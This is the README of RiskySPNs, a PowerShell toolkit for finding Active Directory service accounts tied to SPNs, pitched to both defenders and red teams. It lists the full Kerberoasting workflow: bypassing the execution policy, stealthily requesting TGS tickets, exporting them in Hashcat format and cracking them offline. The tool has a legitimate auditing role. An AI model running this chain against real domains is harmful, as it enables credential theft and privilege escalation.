RiskySPNs
RiskySPNs is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). This module can assist blue teams to identify potentially risky SPNs as well as red teams to escalate privileges by leveraging Kerberos and Active Directory.
For detailed information: http://www.cyberark.com/blog/service-accounts-weakest-link-chain/
Usage
Install the module
Import-Module .\RiskySPNs.psm1
Or just load the script (you can also IEX
from web)
. .\Find-PotentiallyCrackableAccounts.ps1
Make sure Set-ExecutionPolicy
is Unrestricted
or Bypass
Get information about a function (very detailed :))
Get-Help Get-TGSCipher -Full
All fucntions also have -Verbose
mode
Search vulnerable SPNs
Find vulnerable accounts
Find-PotentiallyCrackableAccounts
Sensitive + RC4 = $$$
Generate full deatiled report about vulnerable accounts (CISO <3)
Export-PotentiallyCrackableAccounts
Get tickets
Request Kerberos TGS for SPN
Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433"
Or
Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher
The fun stuff :)
Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt
oclHashcat64.exe -m 13100 crack.txt -a 3